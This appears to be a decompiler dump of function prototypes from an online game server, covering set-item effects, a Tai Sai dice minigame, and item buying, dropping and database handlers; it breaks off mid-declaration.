SetItemData::SkillEffect::operator__(SetItemData::SkillEffect *this, SetIndex index); void __thiscall SetItemData::SetItemAbstateEffect::siae_Clear(SetItemData::SetItemAbstateEffect *this); unsigned __int16 __thiscall SetItemData::SetItemAbstateEffect::siae_GetArgument_Base1000(SetItemData::SetItemAbstateEffect *this, SetIndex idx); unsigned __int16 __thiscall SetItemData::SetItemAbstateEffect::siae_GetArgument_Base1000ByEffect(SetItemData::SetItemAbstateEffect *this, SkillEffectIncreaseType eEffect); void __thiscall SetItemData::SetItemAbstateEffect::siae_SetItemEffectStore(SetItemData::SetItemAbstateEffect *this, SetIndex idx); void __thiscall SetItemData::SetItemAbstateEffect::siae_SetItemEffectAndValue(SetItemData::SetItemAbstateEffect *this, SkillEffectIncreaseType eEffect, int nvalue); void __thiscall SetItemData::EffectDescription::EffectDescription(SetItemData::EffectDescription *this); void __thiscall SetItemData::EffectDescription::_EffectDescription(SetItemData::EffectDescription *this); void __thiscall SetItemData::SetItemEffectList::SetItemEffectList(SetItemData::SetItemEffectList *this); void __thiscall SetItemData::SetItemEffectList::_SetItemEffectList(SetItemData::SetItemEffectList *this); void __thiscall SetItemData::EffectByPiece::EffectByPiece(SetItemData::EffectByPiece *this); void __thiscall SetItemData::SetItemClassifier::SetItemClassifier(SetItemData::SetItemClassifier *this); void __thiscall SetItemData::SetItemClassifier::_SetItemClassifier(SetItemData::SetItemClassifier *this); __int16 __thiscall ShineObjectClass::ShinePlayer::smo_SetEffectForJustSkill(int this); void __thiscall ShineObjectClass::ShinePlayer::smo_SetEffectForJustSkillClear(int this); void __thiscall SetItemData::SetItemAbstateEffect::siae_SetItemEffectRestore(SetItemData::SetItemAbstateEffect *this); void __thiscall SetItemData::SetItemAbstateEffect::siae_FillSetItemEffect(SetItemData::SetItemAbstateEffect *this); void __thiscall SetItemData::SetItemAbstateEffect::SetItemAbstateEffect(SetItemData::SetItemAbstateEffect *this); void __thiscall SetItemData::SetItemClassifier::sic_SetItemDefine(SetItemData::SetItemClassifier *this, SetItemData::PlayerSetEffect *seteffect); void __thiscall SetItemData::SetItemEffectList::siel_AppendEffect(SetItemData::SetItemEffectList *this, unsigned __int16 effect, unsigned __int16 skillid); void __thiscall SetItemData::SkillEffect::se_Clear(SetItemData::SkillEffect *this); void __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_SetItemEffectStore(AbnormalStateContainer::AbstateElementInObject *this); bool __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_SetItemActionEffect(AbnormalStateContainer::AbstateElementInObject *this, SkillEffectIncreaseType EffectType, unsigned int RateValue); void __thiscall SetItemData::SetItemAbstateEffect::siae_ParameterRefit(SetItemData::SetItemAbstateEffect *this); void __thiscall MemoryQueue::MemoryQueue(MemoryQueue *this); void __thiscall MemoryQueue::_MemoryQueue(MemoryQueue *this); void __thiscall ShineObjectClass::ShinePlayer::sp_SetItemCheck(void *this); void __stdcall ShineObjectClass::ShineMobileObject::smo_ply_SetItemEffect(__int16 skillid); void __thiscall ShineObjectClass::ShinePlayer::smo_ply_SetItemEffect(void *this, __int16 skillid); bool __thiscall ShineObjectClass::ShinePlayer::so_IsJoinThisGame(int this, int nGameType); int __thiscall ShineObjectClass::ShinePlayer::so_GetMiniGameInfo(int this); char __thiscall ShineObjectClass::ShinePlayer::so_SetMiniGameInfo(int this, int nGameType); char __thiscall ShineObjectClass::ShinePlayer::so_GetDiceTaiSaiGameLeaveInfo(int this, int pGameLeaveReserve); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall ShineObjectClass::ShinePlayer::so_SetDiceTaiSaiGameLeaveInfo(int this, char bGameLeaveReserve); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall ShineObjectClass::ShinePlayer::so_GetDiceTaiSaiRoomLeaveInfo(int this, int pRoomLeaveReserve); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall ShineObjectClass::ShinePlayer::so_SetDiceTaiSaiRoomLeaveInfo(int this, char bRoomLeaveReserve); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall ShineObjectClass::ShinePlayer::so_SetMiniGameRoomLeaveMapInfo(int this, const char *sMapName, int LocateXY); char __thiscall ShineObjectClass::ShinePlayer::so_GetMiniGameRoomLeaveMapInfo(int this, char *sMapName, int LocateXY); int __thiscall ShineObjectClass::ShinePlayer::so_GetDiceTaiSaiInfo(int this); char __thiscall ShineObjectClass::ShinePlayer::so_ClearDiceTaiSaiInfo(int this); char __thiscall ShineObjectClass::ShinePlayer::so_SetDiceTaiSaiAllBettingCancelInfo(int this, int pTaiSaiBetting, int bIsLastBettingCancel); char __thiscall ShineObjectClass::ShinePlayer::so_SendExpectIncomeMoney(void *this, int pDBAck); char __thiscall ShineObjectClass::ShinePlayer::so_SendReceiptIncomeMoney(void *this, int pDBAck); char __thiscall ShineObjectClass::ShinePlayer::so_SetDiceTaiSaiAllBettingInfo(int this, int pTaiSaiBetting, int bIsFirstBetting); char __thiscall ShineObjectClass::ShinePlayer::so_SetCTDiceTaiSaiWin(int this, unsigned __int16 nWinCnt); char __thiscall ShineObjectClass::ShinePlayer::so_SetCTDiceTaiSaiSet(int this); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_InitDiceInfo(ShineObjectClass::ShineMiniHouse *this); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_InitActiveDiceInfo(ShineObjectClass::ShineMiniHouse *this, ItemInventoryCell *pInvenCell); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_IsActiveDice(ShineObjectClass::ShineMiniHouse *this, ItemInventoryCell *pDiceCell); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_IsActiveDice(ShineObjectClass::ShineMiniHouse *this, SHINE_ITEM_REGISTNUMBER nDiceKey); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SetDiceFix(ShineObjectClass::ShineMiniHouse *this, DiceTaiSaiInfo *pDiceNum); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SetDiceProbability(ShineObjectClass::ShineMiniHouse *this, DiceTaiSaiInfo *pDiceNum, unsigned __int16 nDiceRate); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_ClearDiceBettingInfo(ShineObjectClass::ShineMiniHouse *this); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SetDiceHistory(ShineObjectClass::ShineMiniHouse *this); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_ClearGamerBettingInfo(ShineObjectClass::ShineMiniHouse *this); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SendTaiSaiGameInfo(ShineObjectClass::ShineMiniHouse *this, #593 *sp); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SendTaiSaiBettingInfo(ShineObjectClass::ShineMiniHouse *this, #593 *sp); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_CanEnter(ShineObjectClass::ShineMiniHouse *this, #593 *sp); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_Enter(ShineObjectClass::ShineMiniHouse *this, #593 *sp); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadEnter(ShineObjectClass::ShineMiniHouse *this, #593 *sp); signed __int16 __stdcall ShineObjectClass::ShineObject::so_mh_DiceTaiSai_Out(int a1); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_Out(ShineObjectClass::ShineMiniHouse *this, #593 *sp); unsigned __int16 __thiscall ShineObjectClass::ShineObject::so_mh_DiceTaiSai_BroadOut(#593 *this, #593 *, char); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadOut(ShineObjectClass::ShineMiniHouse *this, #593 *, char); signed __int16 __stdcall ShineObjectClass::ShineObject::so_mh_DiceTaiSai_BroadModeChange(int a1); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_ModeChange(ShineObjectClass::ShineMiniHouse *this, #593 *sp); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadModeChange(ShineObjectClass::ShineMiniHouse *this, #593 *sp); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_ModeChangeLeave(ShineObjectClass::ShineMiniHouse *this, #593 *sp); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadModeChangeLeave(ShineObjectClass::ShineMiniHouse *this, #593 *sp); unsigned __int16 __thiscall ShineObjectClass::ShineObject::so_mh_DiceTaiSai_BroadSetTimer(#593 *this, #593 *, DiceTaiSaiBetting *); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadSetTimer(ShineObjectClass::ShineMiniHouse *this, DiceTaiSaiBetting *pTaiSaiBetting, DICE_TAISAI_BETTING_TYPE nBettingType); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_CanBetting(ShineObjectClass::ShineMiniHouse *this, #593 *, DiceTaiSaiBetting *); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_Betting(ShineObjectClass::ShineMiniHouse *this, #593 *, DiceTaiSaiBetting *); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadBetting(ShineObjectClass::ShineMiniHouse *this, #593 *, DiceTaiSaiBetting *); unsigned __int16 __thiscall ShineObjectClass::ShineObject::so_mh_DiceTaiSai_BroadBettingCancel(#593 *this, #593 *, DiceTaiSaiBetting *); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_CanBettingCancel(ShineObjectClass::ShineMiniHouse *this, #593 *, DiceTaiSaiBetting *); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BettingCancel(ShineObjectClass::ShineMiniHouse *this, #593 *, DiceTaiSaiBetting *); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadBettingCancel(ShineObjectClass::ShineMiniHouse *this, #593 *, DiceTaiSaiBetting *); signed __int16 __stdcall ShineObjectClass::ShineObject::so_mh_DiceTaiSai_BroadEmotion_DiceRoll(int pDBAck); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_CanDiceRoll(ShineObjectClass::ShineMiniHouse *this, #593 *sp); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_CanAutoDiceRoll(ShineObjectClass::ShineMiniHouse *this); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_DiceRoll(ShineObjectClass::ShineMiniHouse *this); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadDiceRoll(ShineObjectClass::ShineMiniHouse *this); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_MoneyResult_DiceRoll(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_DICE_TAISAI_DB_DICE_ROLL_RESULT_ACK *pDBAck); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadResult_DiceRoll(ShineObjectClass::ShineMiniHouse *this); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadEmotion_DiceRoll(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_DICE_TAISAI_DB_DICE_ROLL_RESULT_ACK *pDBAck); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_PrepareNextGame(ShineObjectClass::ShineMiniHouse *this); signed __int16 __stdcall ShineObjectClass::ShineObject::so_mh_DiceTaiSai_GetReceiptIncomeMoney(__int16 nInvenSlot); signed __int16 __stdcall ShineObjectClass::ShineObject::so_mh_DiceTaiSai_GetRank(int pDBAck); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_SendRank(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_DICE_TAISAI_DB_RANK_ACK *pDBAck); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadLargeAmount(ShineObjectClass::ShineMiniHouse *this); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadGameFold(ShineObjectClass::ShineMiniHouse *this); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetTaiSaiGamerCnt(ShineObjectClass::ShineMiniHouse *this); int __cdecl ShineObjectClass::ShineMiniHouse::so_mh_RankSortCompare(const void *a, const void *b); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SetIsCreateDice(ShineObjectClass::ShineMiniHouse *this, char bIsCreateDice, SHINE_ITEM_REGISTNUMBER nCreateDiceKey); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_IsCreateDice(ShineObjectClass::ShineMiniHouse *this, SHINE_ITEM_REGISTNUMBER nCreateDiceKey); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SetIsDeleteDice(ShineObjectClass::ShineMiniHouse *this, char bIsDeleteDice, SHINE_ITEM_REGISTNUMBER nDeleteDiceKey); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_IsDeleteDice(ShineObjectClass::ShineMiniHouse *this, SHINE_ITEM_REGISTNUMBER nDeleteDiceKey); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SetIsBlowGame(ShineObjectClass::ShineMiniHouse *this, char bIsBlowGame); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_IsBlowGame(ShineObjectClass::ShineMiniHouse *this); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SetIsLeaveOwner(ShineObjectClass::ShineMiniHouse *this, char bIsLeaveOwner); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_IsLeaveOwner(ShineObjectClass::ShineMiniHouse *this); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_ExcuteLeaveRoom(ShineObjectClass::ShineMiniHouse *this); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_ExcuteLeaveGame(ShineObjectClass::ShineMiniHouse *this); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_IsActiveDiceTaiSai(ShineObjectClass::ShineMiniHouse *this); DICE_TAISAI_GAME_STATUS __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_GetGameStatus(ShineObjectClass::ShineMiniHouse *this); DICE_TAISAI_GAME_MODE __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_GetGameMode(ShineObjectClass::ShineMiniHouse *this); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SetDiceRewardMoney(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_DICE_TAISAI_DB_ITEM_ID_CHANGE_ACK *pDBAck); char __thiscall ChargedItemEffectDataBox::cideb_Next(ChargedItemEffectDataBox *this, ChargedItemEffectFinger *finger); CIDEB_Element *__thiscall ChargedItemEffectDataBox::cideb_GetIndex(ChargedItemEffectDataBox *this, ChargedItemEffectFinger *finger); int __thiscall ShineObjectClass::ShinePlayer::sp_DiceTaiSaiItemIDChange(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // weak void __stdcall ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_LARGE_AMOUNT_REQ(int netcmd, int len, __int16 handle); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_Result_DiceRoll(ShineObjectClass::ShineMiniHouse *this); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_ResultLog_DiceRoll(ShineObjectClass::ShineMiniHouse *this, int nGameNo); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_GetExpectIncomeMoney(ShineObjectClass::ShineMiniHouse *this, ITEM_INVEN nInvenSlot); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_GetReceiptIncomeMoney(ShineObjectClass::ShineMiniHouse *this, ITEM_INVEN nInvenSlot); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_GetRank(ShineObjectClass::ShineMiniHouse *this, #593 *sp); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_RankSort(ShineObjectClass::ShineMiniHouse *this); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_ExcuteBlowGame(ShineObjectClass::ShineMiniHouse *this); void __thiscall GameDBSession::gds_NC_DICE_TAISAI_DB_DICE_ROLL_RESULT_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_DICE_TAISAI_DB_EXPECT_INCOME_MONEY_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_DICE_TAISAI_DB_RECEIPT_INCOME_MONEY_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_DICE_TAISAI_DB_RANK_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_DICE_TAISAI_DB_ITEM_ID_CHANGE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); char __thiscall ShineObjectClass::ShinePlayer::so_DiceTaiSaiChargedItemLimitCheck(void *this, int pItemBag, int nInvenType, char bIsDelActiveFurniture, int nGameStatus); int __thiscall Parameter::Container::c_Storepure(void *this, int cc, int a3); int __thiscall ShineObjectClass::ShinePlayer::sp_CalcTotalStat(void *this); void __stdcall ShineObjectClass::ShineObject::so_NC_ITEMDB_fail(int department, int command, __int16 errcode); unsigned __int16 __cdecl WeaponCostumInitCharge(unsigned __int16 itmid); bool __thiscall ShineObjectClass::ShinePlayer::smo_ply_IsCostumCharged(int this); void __thiscall ShineObjectClass::ShinePlayer::so_NC_ITEMDB_fail(void *this, int department, int command, unsigned __int16 errcode); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ChangeCen(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ChangeFame(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_SaveFame(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ChangeCell(void *this, int location, int cell, int exchange); void __thiscall ShineObjectClass::ShinePlayer::sp_StatEmpowInitialize(void *this, __int16 command, int errcommand, int slot, int itm); void __thiscall GameDBSession::gds_NC_CHARGED_STAT_INITIALIZE_DB_SUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_CHARGED_SKILLEMPOW_INITIALIZE_DB_SUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_CHARGED_STAT_INITIALIZE_DB_FAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_CHARGED_SKILLEMPOW_INITIALIZE_DB_FAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_ply_InitFreeStat(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_InitSkillEmpow(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_SkillEmpowerSetResult(void *this, __int16 err, __int16 skill); void __thiscall GameDBSession::gds_NC_CHAR_GET_ITEMLIST_BY_TYPE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_ply_Script_CostumeCreate(void *this, unsigned __int16 equippart, int itemid, int op); char __thiscall ShineObjectClass::ShinePlayer::so_ply_Script_CostumeTakeOff(void *this, unsigned __int16 equippart, __int16 itemid); void __thiscall ShineObjectClass::ShinePlayer::sp_NoticeItemBreak(void *this, __int16 inventype, __int16 invenslot); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_WEAPONENDURE_CHARGE_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall GameDBSession::gds_NC_ITEMDB_ENCHANT_SET_GEM_LOT_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_MYSTERY_VAULT_MAKEITEM_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_WEAPONENDURE_CHARGE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __stdcall ShineObjectClass::ShineObject::so_ply_WeaponEndureChangeAck(int ack); void __thiscall ShineObjectClass::ShinePlayer::so_ply_WeaponEndureChangeAck(void *this, int ack); void __thiscall ShineObjectClass::ShinePlayer::sp_CostumWeaponChargeDecrease_ToClient(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_CostumWeaponChargeDecrease_ToDB(void *this); void __stdcall ShineObjectClass::ShineObject::so_ply_InvenWrite(int msg); void __thiscall ShineObjectClass::ShinePlayer::so_ply_InvenWrite(void *ecx0, char *msg); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_USER_CONNECTION_CHANGE_CHAR_ID_ITEM_USE_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall GameDBSession::gds_NC_USER_CONNECTION_DB_CHANGE_CHAR_ID_ITEM_USE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __stdcall ShineObjectClass::ShineObject::so_ply_ChangeCharIDUseAck(int pAck); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ChangeCharIDUseAck(void *this, int pAck); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_BELONGED_CANCEL_USE_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall GameDBSession::gds_NC_ITEMDB_EQUIP_BELONGED_CANCEL_USE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_ACCOUNT_STORAGE_OPEN_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_ACCOUNT_STORAGE_CLOSE_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_AUTO_ARRANGE_INVEN_REQ(void *this, int netcmd, int len, __int16 handle); ItemAttributeClass *__thiscall ItemSmallBag::isb_Store(ItemSmallBag *this, int slot, ItemTotalInformation *iti); void __thiscall ShineObjectClass::ShinePlayer::smo_ply_CostumWeaponChargeDecrease(void *this, char send, int idx, char skillAtk); void __thiscall ShineObjectClass::ShinePlayer::so_ply_StoreItem(void *this, int inv, int iti, int exchange); bool __cdecl _ErrorSendPlayer(#593 *, int, const char *); bool __cdecl _ErrorSendPlayer(#593 *, int, const char *); bool __cdecl _ErrorSendPlayer(#593 *, int, const char *); void __thiscall GameDBSession::gds_NC_ITEMDB_ENCHANT_ADD_GEM_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_ENCHANT_REMOVE_GEM_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_ENCHANT_ADD_NEW_SOCKET_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ItemInventory::ii_BuyAll(ItemInventory *this, #734 *, unsigned __int16, PROTO_NC_ITEM_BUY_REQ *, unsigned int, unsigned int, unsigned int); void __thiscall ItemInventory::ii_BuyLot(ItemInventory *this, #734 *, unsigned __int16, ItemInventoryCell *, unsigned int, int, unsigned int, unsigned int, unsigned int); void __thiscall ItemGuildStorage::igs_BuyAll(ItemGuildStorage *this, #734 *, unsigned __int16, PROTO_NC_ITEM_BUY_REQ *, unsigned int); void __thiscall ItemGuildStorage::igs_BuyLot(ItemGuildStorage *this, #734 *, unsigned __int16, ItemInventoryCell *, unsigned int, int, unsigned int); void __thiscall GameDBSession::gds_NC_ITEMDB_BUYALLSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_BUYLOTSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_GUILD_TOKEN_BUYALLSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_GUILD_TOKEN_BUYLOTSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_BUYFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_BUYCAPSULE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __stdcall ShineObjectClass::ShineObject::so_NC_ITEMDB_ADMINCREATEFAIL_ACK(int itemcreatefail); void __thiscall ShineObjectClass::ShinePlayer::sp_CreateItemByAdmin(void *this, int box, int slot, int iti, int iic); void __thiscall ShineObjectClass::ShinePlayer::so_NC_ITEMDB_ADMINCREATEFAIL_ACK(void *this, int itemcreatefail); void __thiscall GameDBSession::gds_NC_ITEMDB_ADMINCREATESUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); // int __usercall sub_504826(int a1, __int16 a2); void __thiscall GameDBSession::gds_NC_ITEMDB_ADMINCREATEFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); char __thiscall ShineObjectClass::ShinePlayer::sp_DestroyItem(void *this, __int16 handle, int invcell, int inv); char __thiscall ShineObjectClass::ShinePlayer::sp_DestroyItem(void *this, __int16 Handle, __int16 ItemID, __int16 inv, int InvenType); void __thiscall ShineObjectClass::ShinePlayer::sp_DestroyItem(void *this, __int16 handle, __int16 itm, int lot, int lnkinf); void __thiscall GameDBSession::gds_NC_ITEMDB_QUESTREWARD_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); int __thiscall ShineObjectClass::ShinePlayer::sp_GetItemInvenLot(void *this, __int16 itemid); void __stdcall ShineObjectClass::ShinePlayer::sp_QuestItemGet(unsigned __int16 itemid, int a2); int __stdcall unk_505341(int itemid, int); // weak void __thiscall ShineObjectClass::ShinePlayer::sp_MakeItem(void *this, __int16 handle, int iti); void __thiscall GameDBSession::gds_NC_ITEMDB_DESTROY_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_MakeItem(void *this, __int16 handle, int method, unsigned __int16 itm, unsigned int lot); void __thiscall ItemDismantleProducer::ItemDismantleProducer(#734 *, unsigned __int16, unsigned int, ItemBag *, char); void __cdecl ItemDismantleProducer::_ItemDismantleProducer(); signed __int16 __thiscall ItemDismantleProducer::idp_WhereDismantleProductStore(void *ecx0, char a2, int a3, char a4, int a5, int a6, int a7, int a8, int a9, int a10, int a11, int a12, int a13, int a14, int a15, int a16, int a17, int a18, int a19, int a20, int a21, int a22, int a23, int a24, int a25, int a26, int a27, int a28, int a29, int a30, char a31); unsigned __int16 __thiscall ItemDismantleProducer::idp_DismantleProductExecute(#734 *, NETCOMMAND *, PROTO_NC_ITEMDB_DISMANTLE_REQ *); void __thiscall GameDBSession::gds_NC_ITEMDB_DISMANTLE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall BriefInformationDropItem::bidi_InitBriefInfo(BriefInformationDropItem *this, unsigned __int16 handle, unsigned __int16 itemid, SHINE_XY_TYPE *loc, int rareness, unsigned __int16 dropmob); char __stdcall ShineObjectClass::ShineObject::so_drpitm_CanLooting(int a1); void __thiscall ItemInventory::ii_DropAll(ItemInventory *this, #734 *, unsigned __int16, PROTO_NC_ITEM_DROP_REQ *, ItemInventoryCell *); void __thiscall ItemInventory::ii_DropLot(ItemInventory *this, #734 *, unsigned __int16, PROTO_NC_ITEM_DROP_REQ *, ItemInventoryCell *); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_DROP_REQ(void *this, signed int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShineDropItem::so_drpitm_CanLootingBitSet(ShineObjectClass::ShineDropItem *this, #593 *obj); char __thiscall ShineObjectClass::ShineDropItem::so_drpitm_CanLooting(ShineObjectClass::ShineDropItem *this, #593 *looter); char __thiscall ShineObjectClass::ShineDropItem::so_drpitm_IsIndividualType(ShineObjectClass::ShineDropItem *this); signed __int16 __stdcall ShineObjectClass::ShineObject::so_ItemDrop(__int16 handle, int a2, int item, int type, int LooterHandle); unsigned __int16 __thiscall ShineObjectClass::ShineDropItem::so_ItemDrop(ShineObjectClass::ShineDropItem *this, unsigned __int16 handle, #593 *dropper, ItemTotalInformation *item, unsigned int type, ShineMultiTypeHandle *LooterHandle); void __thiscall GameDBSession::gds_NC_ITEMDB_DROPALLSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_DROPALLLOT_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_DROPALLFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_DROPLOTFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); int __thiscall ShineObjectClass::ShinePlayer::sp_ItemDropOK(_DWORD, _DWORD); // weak void __thiscall ShineObjectClass::ShinePlayer::sp_ItemDropAtDead(void *this, int a2); void __thiscall ShineObjectClass::ShinePlayer::sp_EquipDropAtDead(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_EquitEnd(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_BackupParameter(int this, void *last); bool __thiscall ShineObjectClass::ShinePlayer::so_IsEquipWeapon(int this); // void __userpurge 